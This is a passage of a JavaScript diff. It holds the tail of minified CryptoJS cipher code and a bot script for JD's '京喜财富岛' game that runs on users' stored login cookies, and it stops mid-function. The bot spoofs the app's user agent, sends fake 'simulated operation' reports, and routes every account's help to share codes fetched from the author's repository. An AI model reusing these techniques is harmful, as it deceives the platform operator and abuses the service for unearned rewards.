34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); -const $ = new Env("京喜财富岛"); -const JD_API_HOST = "https://m.jingxi.com/"; -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; -$.notifyTime = $.getdata("cfd_notifyTime"); -$.result = []; -$.shareCodes = []; -let cookiesArr = [], cookie = '', token = ''; -let UA, UAInfo = {}, num -let nowTimes; -const randomCount = $.isNode() ? 20 : 3; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -$.appId = 10028; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - await $.wait(1000) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.nickName = ''; - $.isLogin = true; - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - UAInfo[$.UserName] = UA - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.allTask = [] - $.info = {} - token = await getJxToken() - await cfd(); - await $.wait(2000); - } - } - let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/cfd.json') - if (!res) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/cfd.json') - } - $.strMyShareIds = [...(res && res.shareId || [])] - await shareCodesFormat() - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.canHelp = true - UA = UAInfo[$.UserName] - num = 0 - if ($.newShareCodes && $.newShareCodes.length) { - console.log(`\n开始互助\n`); - for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { - console.log(`账号${$.UserName} 去助力 ${$.newShareCodes[j]}`) - $.delcode = false - await helpByStage($.newShareCodes[j]) - await $.wait(2000) - if ($.delcode) { - $.newShareCodes.splice(j, 1) - j-- - continue - } - } - } - } - await showMsg(); -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()); - -async function cfd() { - try { - nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) - let beginInfo = await getUserInfo(); - if (beginInfo.LeadInfo.dwLeadType === 2) { - console.log(`还未开通活动,尝试初始化`) - await noviceTask() - await $.wait(2000) - beginInfo = await getUserInfo(false); - if (beginInfo.LeadInfo.dwLeadType !== 2) { - console.log(`初始化成功\n`) - } else { - console.log(`初始化失败\n`) - return - } - } - - // 寻宝 - console.log(`寻宝`) - let XBDetail = beginInfo.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0 && x.dwRemainCnt !== 2) - if (XBDetail.length !== 0) { - console.log(`开始寻宝`) - for (let key of Object.keys(XBDetail)) { - let vo = XBDetail[key] - await $.wait(2000) - await TreasureHunt(vo.strIndex) - } - } else { - console.log(`暂无宝物`) - } - - //每日签到 - await $.wait(2000) - await getTakeAggrPage('sign') - - //小程序每日签到 - await $.wait(2000) - await getTakeAggrPage('wxsign') - - //助力奖励 - await $.wait(2000) - await getTakeAggrPage('helpdraw') - - console.log('') - //卖贝壳 - // await $.wait(2000) - // await querystorageroom('1') - - //升级建筑 - await $.wait(2000) - for(let key of Object.keys($.info.buildInfo.buildList)) { - let vo = $.info.buildInfo.buildList[key] - let body = `strBuildIndex=${vo.strBuildIndex}` - await getBuildInfo(body, vo) - await $.wait(2000) - } - - //合成珍珠 - // if (nowTimes.getHours() >= 5) { - // await $.wait(2000) - // await composeGameState() - // } - - //接待贵宾 - console.log(`接待贵宾`) - if ($.info.StoryInfo.StoryList) { - await $.wait(2000) - for (let key of Object.keys($.info.StoryInfo.StoryList)) { - let vo = $.info.StoryInfo.StoryList[key] - if (vo.Special) { - console.log(`请贵宾下船,需等待${vo.Special.dwWaitTime}秒`) - await specialUserOper(vo.strStoryId, '2', vo.ddwTriggerDay, vo) - await $.wait(vo.Special.dwWaitTime * 1000) - await specialUserOper(vo.strStoryId, '3', vo.ddwTriggerDay, vo) - await $.wait(2000) - } else { - console.log(`当前暂无贵宾\n`) - } - } - } else { - console.log(`当前暂无贵宾\n`) - } - - //收藏家 - console.log(`收藏家`) - if ($.info.StoryInfo.StoryList) { - await $.wait(2000) - for (let key of Object.keys($.info.StoryInfo.StoryList)) { - let vo = $.info.StoryInfo.StoryList[key] - if (vo.Collector) { - console.log(`喜欢贝壳的收藏家来了,快去卖贝壳吧~`) - await collectorOper(vo.strStoryId, '2', vo.ddwTriggerDay) - await $.wait(2000) - await querystorageroom('2') - await $.wait(2000) - await collectorOper(vo.strStoryId, '4', vo.ddwTriggerDay) - } else { - console.log(`当前暂无收藏家\n`) - } - } - } else { - console.log(`当前暂无收藏家\n`) - } - - //美人鱼 - console.log(`美人鱼`) - if ($.info.StoryInfo.StoryList) { - await $.wait(2000) - for (let key of Object.keys($.info.StoryInfo.StoryList)) { - let vo = $.info.StoryInfo.StoryList[key] - if (vo.Mermaid) { - if (vo.Mermaid.dwIsToday === 1) { - console.log(`可怜的美人鱼困在沙滩上了,快去解救她吧~`) - await mermaidOper(vo.strStoryId, '1', vo.ddwTriggerDay) - } else if (vo.Mermaid.dwIsToday === 0) { - await mermaidOper(vo.strStoryId, '4', vo.ddwTriggerDay) - } - } else { - console.log(`当前暂无美人鱼\n`) - } - } - } else { - console.log(`当前暂无美人鱼\n`) - } - - //倒垃圾 - await $.wait(2000) - await queryRubbishInfo() - - //雇导游 - await $.wait(2000); - await employTourGuideInfo(); - - console.log(`\n做任务`) - //牛牛任务 - await $.wait(2000) - await getActTask() - - //日常任务 - await $.wait(2000); - await getTaskList(0); - await $.wait(2000); - await browserTask(0); - - //成就任务 - await $.wait(2000); - await getTaskList(1); - await $.wait(2000); - await browserTask(1); - - await $.wait(2000); - const endInfo = await getUserInfo(false); - $.result.push( - `【京东账号${$.index}】${$.nickName || $.UserName}`, - `【🥇金币】${endInfo.ddwCoinBalance}`, - `【💵财富值】${endInfo.ddwRichBalance}\n`, - ); - - } catch (e) { - $.logErr(e) - } -} - -// 寻宝 -function TreasureHunt(strIndex) { - return new Promise((resolve) => { - $.get(taskUrl(`user/TreasureHunt`, `strIndex=${strIndex}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} TreasureHunt API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0) { - if (data.AwardInfo.dwAwardType === 0) { - console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 金币`) - } else if (data.AwardInfo.dwAwardType === 1) { - console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.ddwValue} 财富`) - console.log(JSON.stringify(data)) - } else if (data.AwardInfo.dwAwardType === 4) { - console.log(`${data.strAwardDesc},获得 ${data.AwardInfo.strPrizePrice} 红包`) - } else { - console.log(JSON.stringify(data)) - } - } else { - console.log(`寻宝失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 合成珍珠 -async function composeGameState(type = true) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/ComposeGameState`, `dwFirst=1`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposeGameState API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (type) { - console.log(`合成珍珠`) - if (data.iRet === 0) { - if (data.dwCurProgress < data.stagelist[data.stagelist.length - 1].dwCurStageEndCnt && data.strDT) { - let count = data.stagelist[data.stagelist.length - 1].dwCurStageEndCnt - console.log(`当前已合成${data.dwCurProgress}颗珍珠,还需合成珍珠${count - data.dwCurProgress}颗\n`) - for (let j = data.dwCurProgress; j < count; j++) { - let num = Math.ceil(Math.random() * 12 + 12) - console.log(`合成珍珠:模拟操作${num}次`) - for (let v = 0; v < num; v++) { - console.log(`模拟操作进度:${v + 1}/${num}`) - await $.wait(2000) - await realTmReport(data.strMyShareId) - } - let res = await composeGameAddProcess(data.strDT) - if (res.iRet === 0) { - console.log(`\n合成珍珠成功:${j + 1}/${count}\n`) - } else { - console.log(`\n合成珍珠失败:${data.sErrMsg}\n`) - } - } - let composeGameStateRes = await composeGameState(false) - console.log("合成珍珠领奖") - for (let key of Object.keys(composeGameStateRes.stagelist)) { - let vo = composeGameStateRes.stagelist[key] - if (vo.dwIsAward == 0 && composeGameStateRes.dwCurProgress >= vo.dwCurStageEndCnt) { - await $.wait(2000) - await composeGameAward(vo.dwCurStageEndCnt) - } - } - } else { - console.log(`今日已完成\n`) - } - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function realTmReport(strMyShareId) { - return new Promise((resolve) => { - $.get(taskUrl(`user/RealTmReport`, `dwIdentityType=0&strBussKey=composegame&strMyShareId=${strMyShareId}&ddwCount=5`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} RealTmReport API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function composeGameAddProcess(strDT) { - return new Promise((resolve) => { - $.get(taskUrl(`user/ComposeGameAddProcess`, `strBT=${strDT}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposeGameAddProcess API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function composeGameAward(dwCurStageEndCnt) { - return new Promise((resolve) => { - $.get(taskUrl(`user/ComposeGameAward`, `dwCurStageEndCnt=${dwCurStageEndCnt}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} ComposeGameAward API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0) { - if (data.dwPrizeType === 0) { - console.log(`合成珍珠领奖成功:获得${data.ddwCoin}金币`) - } else if (data.dwPrizeType === 1) { - console.log(`合成珍珠领奖成功:获得${data.ddwMoney}财富\n`) - } - } else { - console.log(`合成珍珠领奖失败:${data.sErrMsg}\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -// 接待贵宾 -function specialUserOper(strStoryId, dwType, ddwTriggerDay, StoryList) { - return new Promise((resolve) => { - $.get(taskUrl(`story/SpecialUserOper`, `strStoryId=${strStoryId}&dwType=${dwType}&triggerType=0&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} SpecialUserOper API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (dwType === '2') { - if (data.iRet === 0 || data.sErrMsg === "success") { - console.log(`贵宾'${StoryList.Special.strName}'下船成功`) - } else { - console.log(`贵宾'${StoryList.Special.strName}'下船失败 ${data.sErrMsg}\n`) - } - } else if (dwType === '3') { - if (data.iRet === 0 || data.sErrMsg === "success") { - console.log(`贵宾'${StoryList.Special.strName}'用餐成功:获得${StoryList.Special.ddwCoin}金币\n`) - } else { - console.log(`贵宾'${StoryList.Special.strName}'用餐失败:${data.sErrMsg}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 收藏家 -function collectorOper(strStoryId, dwType, ddwTriggerDay) { - return new Promise((resolve) => { - $.get(taskUrl(`story/CollectorOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} CollectorOper API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -// 美人鱼 -async function mermaidOper(strStoryId, dwType, ddwTriggerDay) { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/MermaidOper`, `strStoryId=${strStoryId}&dwType=${dwType}&ddwTriggerDay=${ddwTriggerDay}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} MermaidOper API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - switch (dwType) { - case '1': - if (data.iRet === 0 || data.sErrMsg === 'success') { - console.log(`开始解救美人鱼`) - dwType = '3' - await mermaidOper(strStoryId, dwType, ddwTriggerDay) - await $.wait(2000) - } else { - console.log(`开始解救美人鱼失败:${data.sErrMsg}\n`) - } - break - case '2': - break - case '3': - if (data.iRet === 0 || data.sErrMsg === 'success') { - dwType = '2' - let mermaidOperRes = await mermaidOper(strStoryId, dwType, ddwTriggerDay) - console.log(`解救美人鱼成功:获得${mermaidOperRes.Data.ddwCoin || '0'}金币\n`) - } else { - console.log(`解救美人鱼失败:${data.sErrMsg}\n`) - } - break - case '4': - if (data.iRet === 0 || data.sErrMsg === 'success') { - console.log(`昨日解救美人鱼领奖成功:获得${data.Data.Prize.strPrizeName}\n`) - } else { - console.log(`昨日解救美人鱼领奖失败:${data.sErrMsg}\n`) - } - break - default: - break - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -// 卖贝壳 -async function querystorageroom(dwSceneId) { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { - try { - if (err) { - 